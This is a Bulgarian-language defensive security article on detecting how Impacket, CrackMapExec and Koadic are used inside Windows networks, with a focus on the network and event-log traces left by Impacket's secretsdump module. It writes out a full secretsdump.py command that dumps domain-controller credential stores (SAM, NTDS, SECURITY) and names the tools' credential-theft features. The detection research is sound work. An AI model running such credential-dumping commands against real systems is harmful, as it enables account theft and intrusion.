Как Π΄Π° ΠΎΡ‚ΠΊΡ€ΠΈΠ΅ΠΌ Π°Ρ‚Π°ΠΊΠΈ срСщу Windows инфраструктурата: ΠΈΠ·ΡƒΡ‡Π°Π²Π°ΠΌΠ΅ инструмСнтитС Π½Π° Ρ…Π°ΠΊΠ΅Ρ€ΠΈΡ‚Π΅

Как Π΄Π° ΠΎΡ‚ΠΊΡ€ΠΈΠ΅ΠΌ Π°Ρ‚Π°ΠΊΠΈ срСщу Windows инфраструктурата: ΠΈΠ·ΡƒΡ‡Π°Π²Π°ΠΌΠ΅ инструмСнтитС Π½Π° Ρ…Π°ΠΊΠ΅Ρ€ΠΈΡ‚Π΅

Π‘ всяка ΠΈΠ·ΠΌΠΈΠ½Π°Π»Π° Π³ΠΎΠ΄ΠΈΠ½Π° сС ΡƒΠ²Π΅Π»ΠΈΡ‡Π°Π²Π° броят Π½Π° Π°Ρ‚Π°ΠΊΠΈΡ‚Π΅ Π² корпоративния сСктор: Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΏΡ€Π΅Π· 2017 Π³ΠΎΠ΄ΠΈΠ½Π° бяха рСгистрирани с 13% ΠΏΠΎΠ²Π΅Ρ‡Π΅ ΡƒΠ½ΠΈΠΊΠ°Π»Π½ΠΈ ΠΈΠ½Ρ†ΠΈΠ΄Π΅Π½Ρ‚ΠΈ Π² сравнСниС с 2016 Π³., Π° Π·Π° 2018 Π³. β€” с 27% ΠΏΠΎΠ²Π΅Ρ‡Π΅ ΠΈΠ½Ρ†ΠΈΠ΄Π΅Π½Ρ‚ΠΈ, ΠΎΡ‚ΠΊΠΎΠ»ΠΊΠΎΡ‚ΠΎ Π² ΠΏΡ€Π΅Π΄ΠΈΡˆΠ½ΠΈΡ ΠΏΠ΅Ρ€ΠΈΠΎΠ΄. Π’ΠΊΠ»ΡŽΡ‡ΠΈΡ‚Π΅Π»Π½ΠΎ ΠΈ Ρ‚Π΅Π·ΠΈ, ΠΏΡ€ΠΈ ΠΊΠΎΠΈΡ‚ΠΎ основният Ρ€Π°Π±ΠΎΡ‚Π΅Π½ инструмСнт Π΅ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΎΠ½Π½Π°Ρ‚Π° систСма Windows. ΠŸΡ€Π΅Π· 2017β€”2018 Π³ΠΎΠ΄ΠΈΠ½ΠΈ Π³Ρ€ΡƒΠΏΠΈΡ€ΠΎΠ²ΠΊΠΈ APT Dragonfly, APT28, APT MuddyWater ΠΈΠ·Π²ΡŠΡ€ΡˆΠ²Π°Ρ…Π° Π°Ρ‚Π°ΠΊΠΈ срСщу правитСлствСни ΠΈ Π²ΠΎΠ΅Π½Π½ΠΈ ΠΎΡ€Π³Π°Π½ΠΈΠ·Π°Ρ†ΠΈΠΈ Π² Π•Π²Ρ€ΠΎΠΏΠ°, Π‘Π΅Π²Π΅Ρ€Π½Π° АмСрика ΠΈ Баудитска Аравия. Π’Π΅ ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Ρ…Π° Ρ‚Ρ€ΠΈ инструмСнта β€” Impacket, CrackMapExec ΠΈ Koadic. Π˜Π·Ρ…ΠΎΠ΄Π½ΠΈΡΡ‚ ΠΈΠΌ ΠΊΠΎΠ΄ Π΅ ΠΎΡ‚ΠΊΡ€ΠΈΡ‚ ΠΈ Π΄ΠΎΡΡ‚ΡŠΠΏΠ΅Π½ Π½Π° GitHub.

Π’Π°ΠΆΠ½ΠΎ Π΅ Π΄Π° сС ΠΎΡ‚Π±Π΅Π»Π΅ΠΆΠΈ, Ρ‡Π΅ Ρ‚Π΅Π·ΠΈ инструмСнти Π½Π΅ сС ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Ρ‚ Π·Π° ΠΏΡŠΡ€Π²ΠΎΠ½Π°Ρ‡Π°Π»Π½ΠΎ ΠΏΡ€ΠΎΠ½ΠΈΠΊΠ²Π°Π½Π΅, Π° Π·Π° Ρ€Π°Π·Π²ΠΈΡ‚ΠΈΠ΅ Π½Π° Π°Ρ‚Π°ΠΊΠ°Ρ‚Π° Π² инфраструктурата. Π—Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½ΠΈΡ†ΠΈΡ‚Π΅ Π³ΠΈ ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Ρ‚ Π½Π° Ρ€Π°Π·Π»ΠΈΡ‡Π½ΠΈ Π΅Ρ‚Π°ΠΏΠΈ ΠΎΡ‚ Π°Ρ‚Π°ΠΊΠ°Ρ‚Π°, слСдващи слСд прСодоляванС Π½Π° ΠΏΠ΅Ρ€ΠΈΠΌΠ΅Ρ‚ΡŠΡ€Π°. Π’ΠΎΠ²Π°, ΠΌΠ΅ΠΆΠ΄Ρƒ Π΄Ρ€ΡƒΠ³ΠΎΡ‚ΠΎ, Π΅ Ρ‚Ρ€ΡƒΠ΄Π½ΠΎ Π·Π° ΠΎΡ‚ΠΊΡ€ΠΈΠ²Π°Π½Π΅ ΠΈ чСсто само с ΠΏΠΎΠΌΠΎΡ‰Ρ‚Π° Π½Π° Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΈ Π·Π° ΠΎΡ‚ΠΊΡ€ΠΈΠ²Π°Π½Π΅ Π½Π° слСди ΠΎΡ‚ компромСтация Π² мрСТовия Ρ‚Ρ€Π°Ρ„ΠΈΠΊ ΠΈΠ»ΠΈ инструмСнти, позволяващи Π΄Π° сС открият Π°ΠΊΡ‚ΠΈΠ²Π½ΠΈΡ‚Π΅ дСйствия Π½Π° Π·Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊΠ° слСд ΠΏΡ€ΠΎΠ½ΠΈΠΊΠ²Π°Π½Π΅Ρ‚ΠΎ ΠΌΡƒ Π² инфраструктурата. Π˜Π½ΡΡ‚Ρ€ΡƒΠΌΠ΅Π½Ρ‚ΠΈΡ‚Π΅ ΠΏΡ€Π΅Π΄Π»Π°Π³Π°Ρ‚ мноТСство Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ β€” ΠΎΡ‚ трансфСр Π½Π° Ρ„Π°ΠΉΠ»ΠΎΠ²Π΅ Π΄ΠΎ взаимодСйствиС с Ρ€Π΅Π³ΠΈΡΡ‚ΡŠΡ€Π° ΠΈ изпълнСниС Π½Π° ΠΊΠΎΠΌΠ°Π½Π΄ΠΈ Π½Π° ΠΎΡ‚Π΄Π°Π»Π΅Ρ‡Π΅Π½Π° машина. ΠŸΡ€ΠΎΠ²Π΅Π΄ΠΎΡ…ΠΌΠ΅ изслСдванС Π½Π° Ρ‚Π΅Π·ΠΈ инструмСнти, Π·Π° Π΄Π° ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΠΌ тяхната ΠΌΡ€Π΅ΠΆΠΎΠ²Π° активност.

Какво Ρ‚Ρ€ΡΠ±Π²Π°ΡˆΠ΅ Π΄Π° Π½Π°ΠΏΡ€Π°Π²ΠΈΠΌ:

  • Π”Π° Ρ€Π°Π·Π±Π΅Ρ€Π΅ΠΌ ΠΊΠ°ΠΊ Ρ€Π°Π±ΠΎΡ‚ΠΈ хакСрският инструмСнтариум. Π”Π° Π½Π°ΡƒΡ‡ΠΈΠΌ ΠΊΠ°ΠΊΠ²ΠΎ Π΅ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ Π½Π° Π°Ρ‚Π°ΠΊΡƒΠ²Π°Ρ‰ΠΈΡ‚Π΅ Π·Π° Сксплотация ΠΈ с ΠΊΠ°ΠΊΠ²ΠΈ Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΈ Ρ‚Π΅ ΠΌΠΎΠ³Π°Ρ‚ Π΄Π° сС Π²ΡŠΠ·ΠΏΠΎΠ»Π·Π²Π°Ρ‚.
  • Π”Π° Π½Π°ΠΌΠ΅Ρ€ΠΈΠΌ Ρ‚ΠΎΠ²Π°, ΠΊΠΎΠ΅Ρ‚ΠΎ Π½Π΅ сС ΠΎΡ‚ΠΊΡ€ΠΈΠ²Π° ΠΎΡ‚ срСдствата Π·Π° ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΎΠ½Π½Π° сигурност Π½Π° ΠΏΡŠΡ€Π²ΠΈΡ‚Π΅ Π΅Ρ‚Π°ΠΏΠΈ Π½Π° Π°Ρ‚Π°ΠΊΠ°Ρ‚Π°. Π•Ρ‚Π°ΠΏΡŠΡ‚ Π½Π° Ρ€Π°Π·ΡƒΠ·Π½Π°Π²Π°Π½Π΅ ΠΌΠΎΠΆΠ΅ Π΄Π° бъдС пропуснат, ΠΈΠ»ΠΈ Π·Π°Ρ‰ΠΎΡ‚ΠΎ атакуващият Π΅ Π²ΡŠΡ‚Ρ€Π΅ΡˆΠ΅Π½ Π·Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½ΠΈΠΊ, ΠΈΠ»ΠΈ Π·Π°Ρ‰ΠΎΡ‚ΠΎ атакуващият ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π° уязвимост Π² инфраструктурата, Π·Π° която ΠΏΡ€Π΅Π΄ΠΈ Ρ‚ΠΎΠ²Π° Π½Π΅ Π΅ Π±ΠΈΠ»ΠΎ извСстно. Появява сС Π²ΡŠΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ Π΄Π° сС Π²ΡŠΠ·ΡΡ‚Π°Π½ΠΎΠ²ΠΈ цялата Π²Π΅Ρ€ΠΈΠ³Π° Π½Π° дСйствията ΠΌΡƒ, ΠΎΡ‚Ρ‚ΡƒΠΊ ΠΏΡ€ΠΎΠΈΠ·Π»ΠΈΠ·Π° ΠΆΠ΅Π»Π°Π½ΠΈΠ΅Ρ‚ΠΎ Π΄Π° сС открият ΠΏΠΎ-Π½Π°Ρ‚Π°Ρ‚ΡŠΡˆΠ½ΠΈΡ‚Π΅ ΠΌΡƒ двиТСния.
  • Π”Π° сС Π΅Π»ΠΈΠΌΠΈΠ½ΠΈΡ€Π°Ρ‚ Ρ„Π°Π»ΡˆΠΈΠ²ΠΈΡ‚Π΅ сработвания Π½Π° срСдствата Π·Π° ΠΎΡ‚ΠΊΡ€ΠΈΠ²Π°Π½Π΅ Π½Π° Π½Π°ΡˆΠ΅ΡΡ‚Π²ΠΈΡ. НС трябва Π΄Π° забравямС ΠΈ Ρ‡Π΅ ΠΏΡ€ΠΈ ΠΎΡ‚ΠΊΡ€ΠΈΠ²Π°Π½Π΅Ρ‚ΠΎ Π½Π° ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈ дСйствия, основаващи сС само Π½Π° Ρ€Π°Π·ΡƒΠ·Π½Π°Π²Π°Π½Π΅, ΠΌΠΎΠ³Π°Ρ‚ Π΄Π° сС допуснат чСсти Π³Ρ€Π΅ΡˆΠΊΠΈ. ОбикновСно Π² инфраструктурата ΡΡŠΡ‰Π΅ΡΡ‚Π²ΡƒΠ²Π° Π΄ΠΎΡΡ‚Π°Ρ‚ΡŠΡ‡Π½ΠΎ количСство ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΈ, ΠΊΠΎΠΈΡ‚ΠΎ Π½Π° ΠΏΡ€ΡŠΠ² ΠΏΠΎΠ³Π»Π΅Π΄ Π½Π΅ сС ΠΎΡ‚Π»ΠΈΡ‡Π°Π²Π°Ρ‚ ΠΎΡ‚ Π»Π΅Π³ΠΈΡ‚ΠΈΠΌΠ½ΠΈΡ‚Π΅, Π·Π° ΠΏΠΎΠ»ΡƒΡ‡Π°Π²Π°Π½Π΅ Π½Π° информация.

Какво Π΄Π°Π²Π°Ρ‚ Ρ‚Π΅Π·ΠΈ инструмСнти Π½Π° Π°Ρ‚Π°ΠΊΡƒΠ²Π°Ρ‰ΠΈΡ‚Π΅? Ако става Π²ΡŠΠΏΡ€ΠΎΡ Π·Π° Impacket, Ρ‚ΠΎ ΠΏΡ€Π΅ΡΡ‚ΡŠΠΏΠ½ΠΈΡ†ΠΈΡ‚Π΅ ΠΏΠΎΠ»ΡƒΡ‡Π°Π²Π°Ρ‚ голяма Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠ° ΠΎΡ‚ ΠΌΠΎΠ΄ΡƒΠ»ΠΈ, ΠΊΠΎΠΈΡ‚ΠΎ ΠΌΠΎΠ³Π°Ρ‚ Π΄Π° сС ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Ρ‚ Π² Ρ€Π°Π·Π»ΠΈΡ‡Π½ΠΈ Π΅Ρ‚Π°ΠΏΠΈ Π½Π° Π°Ρ‚Π°ΠΊΠ°Ρ‚Π° слСд прСодоляванСто Π½Π° ΠΏΠ΅Ρ€ΠΈΠΌΠ΅Ρ‚ΡŠΡ€Π°. Много инструмСнти ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Ρ‚ ΠΌΠΎΠ΄ΡƒΠ»ΠΈ ΠΎΡ‚ Impacket Π²ΡŠΡ‚Ρ€Π΅ Π² сСбС си β€” Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Metasploit. Π’ Π½Π΅Π³ΠΎ ΠΈΠΌΠ° dcomexec ΠΈ wmiexec Π·Π° ΠΎΡ‚Π΄Π°Π»Π΅Ρ‡Π΅Π½ΠΎ изпълнСниС Π½Π° ΠΊΠΎΠΌΠ°Π½Π΄ΠΈ, secretsdump Π·Π° ΠΈΠ·Π²Π»ΠΈΡ‡Π°Π½Π΅ Π½Π° Π°ΠΊΠ°ΡƒΠ½Ρ‚ΠΈ ΠΎΡ‚ ΠΏΠ°ΠΌΠ΅Ρ‚Ρ‚Π°, ΠΊΠΎΠΈΡ‚ΠΎ са Π΄ΠΎΠ±Π°Π²Π΅Π½ΠΈ ΠΎΡ‚ Impacket. Π’ ΠΊΡ€Π°ΠΉΠ½Π° смСтка ΠΏΡ€Π°Π²ΠΈΠ»Π½ΠΎΡ‚ΠΎ ΠΎΡ‚ΠΊΡ€ΠΈΡ‚ΠΈΠ΅ Π½Π° активността Π½Π° Ρ‚Π°ΠΊΠ°Π²Π° Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠ° осигурява ΠΈ ΠΎΡ‚ΠΊΡ€ΠΈΡ‚ΠΈΠ΅ Π½Π° ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄Π½ΠΈΡ‚Π΅.

Π—Π° CrackMapExec (ΠΈΠ»ΠΈ просто CME) ΡΡŠΠ·Π΄Π°Ρ‚Π΅Π»ΠΈΡ‚Π΅ нСслучайно написаха Β«Powered by ImpacketΒ». ОсвСн Ρ‚ΠΎΠ²Π°, CME Ρ€Π°Π·ΠΏΠΎΠ»Π°Π³Π° с Π³ΠΎΡ‚ΠΎΠ²Π° функционалност Π·Π° популярни сцСнарии: Ρ‚ΠΎΠ²Π° Π΅ ΠΈ Mimikatz Π·Π° ΠΈΠ·Π²Π»ΠΈΡ‡Π°Π½Π΅ Π½Π° ΠΏΠ°Ρ€ΠΎΠ»ΠΈ ΠΈΠ»ΠΈ Ρ‚Π΅Ρ…Π½ΠΈΡ‚Π΅ Ρ…Π΅ΡˆΠΎΠ²Π΅, ΠΈ внСдряванС Π½Π° Meterpreter ΠΈΠ»ΠΈ Empire agent Π·Π° ΠΎΡ‚Π΄Π°Π»Π΅Ρ‡Π΅Π½ΠΎ изпълнСниС, ΠΈ Bloodhound Π½Π° Π±ΠΎΡ€Π΄Π°.

ВрСтият инструмСнт, ΠΊΠΎΠΉΡ‚ΠΎ ΠΈΠ·Π±Ρ€Π°Ρ…ΠΌΠ΅, Π΅ Koadic. Π’ΠΎΠΉ Π΅ сравнитСлно Π½ΠΎΠ², прСдставСн Π½Π° ΠΌΠ΅ΠΆΠ΄ΡƒΠ½Π°Ρ€ΠΎΠ΄Π½Π°Ρ‚Π° хакСрска конфСрСнция DEFCON 25 ΠΏΡ€Π΅Π· 2017 Π³ΠΎΠ΄ΠΈΠ½Π° ΠΈ сС ΠΎΡ‚Π»ΠΈΡ‡Π°Π²Π° с Π½Π΅Ρ‚Ρ€Π°Π΄ΠΈΡ†ΠΈΠΎΠ½Π΅Π½ ΠΏΠΎΠ΄Ρ…ΠΎΠ΄: Ρ€Π°Π±ΠΎΡ‚Π° Ρ‡Ρ€Π΅Π· HTTP, Java Script ΠΈ Microsoft Visual Basic Script (VBS). Π’ΠΎΠ·ΠΈ ΠΏΠΎΠ΄Ρ…ΠΎΠ΄ сС Π½Π°Ρ€ΠΈΡ‡Π° living off the land: ΠΈΠ½ΡΡ‚Ρ€ΡƒΠΌΠ΅Π½Ρ‚ΡŠΡ‚ ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π° Π½Π°Π±ΠΎΡ€ ΠΎΡ‚ зависимости ΠΈ Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠΈ, Π²Π³Ρ€Π°Π΄Π΅Π½ΠΈ Π² Windows. Π‘ΡŠΠ·Π΄Π°Ρ‚Π΅Π»ΠΈΡ‚Π΅ Π³ΠΎ Π½Π°Ρ€ΠΈΡ‡Π°Ρ‚ COM Command & Control, ΠΈΠ»ΠΈ C3.

IMPACKET

Ѐункционалността Π½Π° Impacket Π΅ доста ΡˆΠΈΡ€ΠΎΠΊΠ°, Π·Π°ΠΏΠΎΡ‡Π²Π°ΠΉΠΊΠΈ ΠΎΡ‚ Ρ€Π°Π·ΡƒΠ·Π½Π°Π²Π°Π½Π΅ Π²ΡŠΡ‚Ρ€Π΅ Π² AD ΠΈ ΡΡŠΠ±ΠΈΡ€Π°Π½Π΅ Π½Π° Π΄Π°Π½Π½ΠΈ ΠΎΡ‚ Π²ΡŠΡ‚Ρ€Π΅ΡˆΠ½ΠΈ MS SQL ΡΡŠΡ€Π²ΡŠΡ€ΠΈ, Π΄ΠΎ Ρ‚Π΅Ρ…Π½ΠΈΠΊΠΈ Π·Π° ΠΏΠΎΠ»ΡƒΡ‡Π°Π²Π°Π½Π΅ Π½Π° ΡƒΡ‡Π΅Ρ‚Π½ΠΈ Π΄Π°Π½Π½ΠΈ: Ρ‚ΠΎΠ²Π° Π΅ ΠΈ Π°Ρ‚Π°ΠΊΠ° SMB relay, ΠΈ ΠΈΠ·Π²Π»ΠΈΡ‡Π°Π½Π΅ Π½Π° Ρ„Π°ΠΉΠ»Π° ntds.dit ΠΎΡ‚ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»Π΅Ρ€Π° Π½Π° Π΄ΠΎΠΌΠ΅ΠΉΠ½Π°, ΡΡŠΠ΄ΡŠΡ€ΠΆΠ°Ρ‰ Ρ…Π΅ΡˆΠΎΠ²Π΅Ρ‚Π΅ Π½Π° ΠΏΠ°Ρ€ΠΎΠ»ΠΈΡ‚Π΅ Π½Π° ΠΏΠΎΡ‚Ρ€Π΅Π±ΠΈΡ‚Π΅Π»ΠΈΡ‚Π΅. ОсвСн Ρ‚ΠΎΠ²Π°, Impacket ΠΎΡ‚Π΄Π°Π»Π΅Ρ‡Π΅Π½ΠΎ изпълнява ΠΊΠΎΠΌΠ°Π½Π΄ΠΈ, ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°ΠΉΠΊΠΈ Ρ‡Π΅Ρ‚ΠΈΡ€ΠΈ Ρ€Π°Π·Π»ΠΈΡ‡Π½ΠΈ ΠΌΠ΅Ρ‚ΠΎΠ΄Π°: Ρ‡Ρ€Π΅Π· WMI, услуга Π·Π° ΡƒΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ Π½Π° ΠΏΠ»Π°Π½ΠΈΡ€Π°Ρ‚Π΅ Π½Π° Windows, DCOM ΠΈ SMB, ΠΈ Π·Π° Ρ‚ΠΎΠ²Π° ΠΌΡƒ трябват ΡƒΡ‡Π΅Ρ‚Π½ΠΈ Π΄Π°Π½Π½ΠΈ.

Secretsdump

НСка Ρ€Π°Π·Π³Π»Π΅Π΄Π°ΠΌΠ΅ secretsdump. Π’ΠΎΠ·ΠΈ ΠΌΠΎΠ΄ΡƒΠ» ΠΌΠΎΠΆΠ΅ Π΄Π° Ρ†Π΅Π»ΠΈ ΠΊΠ°ΠΊΡ‚ΠΎ потрСбитСлски машини, Ρ‚Π°ΠΊΠ° ΠΈ Π΄ΠΎΠΌΠ΅ΠΉΠ½ΠΎΠ²ΠΈ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»Π΅Ρ€ΠΈ. Π§Ρ€Π΅Π· Π½Π΅Π³ΠΎ ΠΌΠΎΠ³Π°Ρ‚ Π΄Π° сС ΠΈΠ·Π²Π»Π΅ΠΊΠ°Ρ‚ копия Π½Π° ΠΏΠ°ΠΌΠ΅Ρ‚ΠΎΠ²ΠΈΡ‚Π΅ области LSA, SAM, SECURITY, NTDS.dit, ΠΊΠΎΠ΅Ρ‚ΠΎ Π³ΠΎ ΠΏΡ€Π°Π²ΠΈ Π²ΠΈΠ΄ΠΈΠΌ Π½Π° Ρ€Π°Π·Π»ΠΈΡ‡Π½ΠΈ Π΅Ρ‚Π°ΠΏΠΈ Π½Π° Π°Ρ‚Π°ΠΊΠ°. ΠŸΡŠΡ€Π²Π°Ρ‚Π° ΡΡ‚ΡŠΠΏΠΊΠ° ΠΏΡ€ΠΈ Ρ€Π°Π±ΠΎΡ‚Π° с ΠΌΠΎΠ΄ΡƒΠ»Π° Π΅ аутСнтификацията ΠΏΡ€Π΅Π· SMB, Π·Π° която Π΅ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠ° ΠΈΠ»ΠΈ ΠΏΠ°Ρ€ΠΎΠ»Π°Ρ‚Π° Π½Π° потрСбитСля, ΠΈΠ»ΠΈ нСйният Ρ…Π΅Ρˆ Π·Π° Π°Π²Ρ‚ΠΎΠΌΠ°Ρ‚ΠΈΠ·ΠΈΡ€Π°Π½ΠΎ ΠΏΡ€ΠΎΠ²Π΅ΠΆΠ΄Π°Π½Π΅ Π½Π° Π°Ρ‚Π°ΠΊΠ° Pass the Hash. Π‘Π»Π΅Π΄Π²Π° Π·Π°ΠΏΠΈΡ‚Π²Π°Π½Π΅ Π·Π° отварянС Π½Π° Π΄ΠΎΡΡ‚ΡŠΠΏ Π΄ΠΎ Service Control Manager (SCM) ΠΈ ΠΏΠΎΠ»ΡƒΡ‡Π°Π²Π°Π½Π΅ Π½Π° Π΄ΠΎΡΡ‚ΡŠΠΏ Π΄ΠΎ Ρ€Π΅Π³ΠΈΡΡ‚ΡŠΡ€Π° ΠΏΠΎ ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ» winreg, с ΠΏΠΎΠΌΠΎΡ‰Ρ‚Π° Π½Π° ΠΊΠΎΠΉΡ‚ΠΎ нападатСлят ΠΌΠΎΠΆΠ΅ Π΄Π° Π½Π°ΡƒΡ‡ΠΈ Π΄Π°Π½Π½ΠΈ ΠΎΡ‚ интСрСсуващитС Π³ΠΎ ΠΊΠ»ΠΎΠ½ΠΎΠ²Π΅ ΠΈ Π΄Π° ΠΏΠΎΠ»ΡƒΡ‡ΠΈ Ρ€Π΅Π·ΡƒΠ»Ρ‚Π°Ρ‚ΠΈΡ‚Π΅ ΠΏΡ€Π΅Π· SMB.

На рис. 1 Π²ΠΈΠΆΠ΄Π°ΠΌΠ΅ ΠΊΠ°ΠΊ Ρ‚ΠΎΡ‡Π½ΠΎ става Π΄ΠΎΡΡ‚ΡŠΠΏΠ° Π΄ΠΎ ΠΊΠ»ΡŽΡ‡Π° Π½Π° Ρ€Π΅Π³ΠΈΡΡ‚ΡŠΡ€Π° с LSA ΠΏΡ€ΠΈ ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Π½Π΅Ρ‚ΠΎ Π½Π° ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»Π° winreg. Π—Π° Ρ‚ΠΎΠ²Π° сС ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π° ΠΊΠΎΠΌΠ°Π½Π΄Π° DCERPC с ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΎΠ½Π΅Π½ ΠΊΠΎΠ΄ 15 β€” OpenKey.

Как Π΄Π° ΠΎΡ‚ΠΊΡ€ΠΈΠ΅ΠΌ Π°Ρ‚Π°ΠΊΠΈ срСщу Windows инфраструктурата: ΠΈΠ·ΡƒΡ‡Π°Π²Π°ΠΌΠ΅ инструмСнтитС Π½Π° Ρ…Π°ΠΊΠ΅Ρ€ΠΈΡ‚Π΅
Рис. 1. ΠžΡ‚Π²Π°Ρ€ΡΠ½Π΅ Π½Π° ΠΊΠ»ΡŽΡ‡ ΠΎΡ‚ Ρ€Π΅Π³ΠΈΡΡ‚ΡŠΡ€Π° ΠΏΠΎ ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ» winreg

ΠšΠΎΠ³Π°Ρ‚ΠΎ Π΄ΠΎΡΡ‚ΡŠΠΏΡŠΡ‚ Π΄ΠΎ ΠΊΠ»ΡŽΡ‡Π° Π΅ ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½, слСдва Π·Π°ΠΏΠ°Π·Π²Π°Π½Π΅ Π½Π° стойноститС с ΠΊΠΎΠΌΠ°Π½Π΄Π° SaveKey ΠΈ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΎΠ½Π΅Π½ ΠΊΠΎΠ΄ 20. Impacket Π³ΠΎ ΠΏΡ€Π°Π²ΠΈ ΠΏΠΎ ΠΌΠ½ΠΎΠ³ΠΎ спСцифичСн Π½Π°Ρ‡ΠΈΠ½. Π’ΠΎΠΉ Π·Π°ΠΏΠ°Π·Π²Π° стойноститС Π² Ρ„Π°ΠΉΠ», Ρ‡ΠΈΠ΅Ρ‚ΠΎ ΠΈΠΌΠ΅ Π΅ Π½ΠΈΠ· ΠΎΡ‚ 8 ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ»Π½ΠΈ символа с добавянС Π½Π° .tmp. ОсвСн Ρ‚ΠΎΠ²Π°, слСдващото ΠΈΠ·Π²Π»ΠΈΡ‡Π°Π½Π΅ Π½Π° Ρ‚ΠΎΠ·ΠΈ Ρ„Π°ΠΉΠ» става Ρ‡Ρ€Π΅Π· SMB ΠΎΡ‚ дирСктория System32 (рис. 2).

Как Π΄Π° ΠΎΡ‚ΠΊΡ€ΠΈΠ΅ΠΌ Π°Ρ‚Π°ΠΊΠΈ срСщу Windows инфраструктурата: ΠΈΠ·ΡƒΡ‡Π°Π²Π°ΠΌΠ΅ инструмСнтитС Π½Π° Ρ…Π°ΠΊΠ΅Ρ€ΠΈΡ‚Π΅
Рис. 2. Π‘Ρ…Π΅ΠΌΠ° Π·Π° ΠΏΠΎΠ»ΡƒΡ‡Π°Π²Π°Π½Π΅ Π½Π° ΠΊΠ»ΡŽΡ‡Π° ΠΎΡ‚ Ρ€Π΅Π³ΠΈΡΡ‚ΡŠΡ€Π° ΠΎΡ‚ ΠΎΡ‚Π΄Π°Π»Π΅Ρ‡Π΅Π½Π° машина

Π’Π°ΠΊΠ° Ρ‡Π΅, ΠΏΠΎΠ΄ΠΎΠ±Π½Π° активност Π² ΠΌΡ€Π΅ΠΆΠ°Ρ‚Π° ΠΌΠΎΠΆΠ΅ Π΄Π° бъдС ΠΎΡ‚ΠΊΡ€ΠΈΡ‚Π° ΠΏΠΎ запитванията към ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈ ΠΊΠ»ΠΎΠ½ΠΈ Π½Π° Ρ€Π΅Π³ΠΈΡΡ‚ΡŠΡ€Π° ΠΏΠΎ ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ» winreg, спСцифичнитС ΠΈΠΌΠ΅Π½Π°, ΠΊΠΎΠΌΠ°Π½Π΄ΠΈΡ‚Π΅ ΠΈ тСхния Ρ€Π΅Π΄.

Π‘ΡŠΡ‰ΠΎ Ρ‚Π°ΠΊΠ°, Ρ‚ΠΎΠ·ΠΈ ΠΌΠΎΠ΄ΡƒΠ» оставя слСди Π² ΠΆΡƒΡ€Π½Π°Π»Π° Π½Π° ΡΡŠΠ±ΠΈΡ‚ΠΈΡΡ‚Π° Π½Π° Windows, Π±Π»Π°Π³ΠΎΠ΄Π°Ρ€Π΅Π½ΠΈΠ΅ Π½Π° ΠΊΠΎΠΈΡ‚ΠΎ Π΅ лСсСн Π·Π° ΠΎΡ‚ΠΊΡ€ΠΈΠ²Π°Π½Π΅. НапримСр, Π² Ρ€Π΅Π·ΡƒΠ»Ρ‚Π°Ρ‚ Π½Π° ΠΈΠ·ΠΏΡŠΠ»Π½Π΅Π½ΠΈΠ΅Ρ‚ΠΎ Π½Π° ΠΊΠΎΠΌΠ°Π½Π΄Π°Ρ‚Π°

secretsdump.py -debug -system SYSTEM -sam SAM -ntds NTDS -security SECURITY -bootkey BOOTKEY -outputfile 1.txt -use-vss -exec-method mmcexec -user-status -dc-ip 192.168.202.100 -target-ip 192.168.202.100 contoso/Administrator:@DC

Π² ΠΆΡƒΡ€Π½Π°Π»Π° Π½Π° Windows Server 2016 Ρ‰Π΅ Π²ΠΈΠ΄ΠΈΠΌ слСдната ΠΊΠ»ΡŽΡ‡ΠΎΠ²Π° послСдоватСлност ΠΎΡ‚ ΡΡŠΠ±ΠΈΡ‚ΠΈΡ:

1. 4624 β€” ΠΎΡ‚Π΄Π°Π»Π΅Ρ‡Π΅Π½ Π²Ρ…ΠΎΠ΄.
